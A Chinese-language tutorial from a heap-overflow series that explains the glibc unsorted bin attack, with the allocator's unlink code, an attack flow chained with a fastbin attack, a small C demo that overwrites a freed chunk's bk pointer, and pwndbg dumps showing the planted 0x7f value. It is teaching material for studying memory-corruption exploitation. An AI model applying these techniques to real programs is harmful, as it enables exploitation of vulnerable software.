二進制安全之堆溢出(系列)—— unsorted bin attack

本文是二進制安全之堆溢出系列的第十章節,主要介紹unsorted bin attack。

原理

  • 實現效果
<code>只能在任意地址寫入一個大數

通常在一個地址寫入7f,然後配合fastbin attack使用,達到任意地址寫的效果/<code>

斷鏈操作

<code>/* remove from unsorted list */
bck = victim->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av); //此時fd中存放的是main_arena的地址
unsortedbin attack之後不能在遍歷`unsorted bin鏈了,因為此時的main_arena的bk已經被我們改為target_addr,av->bk索引到的地址是一般是無法繞過check的。

因此需要提前malloc一個fastbin大小的堆塊,在unsortedbin attack之前free掉它,在unsortedbin attack之後再malloc fastbin大小的堆塊。

這時就能得到一個fd為main_arena地址的chunk/<code>

unsorted bin attack 流程

<code>malloc fastbin 0x70

free fastbin 0x70

change 0x70.fd -> target.addr

malloc 0x100

free 0x100

change 0x100.addr + 0x8 ---> target

malloc 0x100 --->\tnow *(target - 0x3 ) = 0x7f

malloc 0x70 --->change fastbin main_arena->fd

malloc 0x70 ---> get target chunk/<code>

Demo

<code>#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
int main()
{
int size = 0x100;
char *p = malloc(size);
printf("%p\\n",p);
sleep(0);
free(p);
sleep(0);
*(long *)(p+8) = 0x601100;
sleep(0);
char *r = malloc(size);
printf("%p\\n",r);
sleep(0);
return 0;
}
//此demo可以獲取一個7f的大數,存在target chunk
//可通過fastbin attack將此chunk取出並利用/<string.h>/<unistd.h>/<malloc.h>/<stdio.h>/<code>

調試

  • free p 之後的bins鏈和heap
<code>unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
pwndbg> x/20gz 0x602000
0x602000: 0x0000000000000000 0x0000000000000111
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 -->fd和bk都指向main_arena

pwndbg> x/20gz 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main>: 0x0000000000602520 0x0000000000000000 -->top chunk addr
0x7ffff7dd1b88 <main>: 0x0000000000602000 0x0000000000602000 -->p addr/<main>/<main>/<code>

修改bk後的bins鏈和heap

<code>unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x601100 ◂— 0x0
pwndbg> x/20gz 0x602000
0x602000: 0x0000000000000000 0x0000000000000111
0x602010: 0x00007ffff7dd1b78 0x0000000000601100 -->bk的內容被修改為target.addr /<code>

malloc r之後的bins和heap

<code>unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x601100 ◂— 0x0
0x602000此時被malloc出去了,0x601100指向main_arena

pwndbg> x/20gz 0x601100
0x601100:\t0x0000000000000000\t0x0000000000000000
0x601110:\t0x00007ffff7dd1b78\t0x0000000000000000 -->main_arena
pwndbg> x/20gz 0x601100-0x3
0x6010fd:\t0x0000000000000000\t0x0000000000000000
0x60110d:\t0xfff7dd1b78000000\t0x000000000000007f ==>構造出了7f /<code>
二進制安全之堆溢出(系列)—— unsorted bin attack


分享到:


相關文章: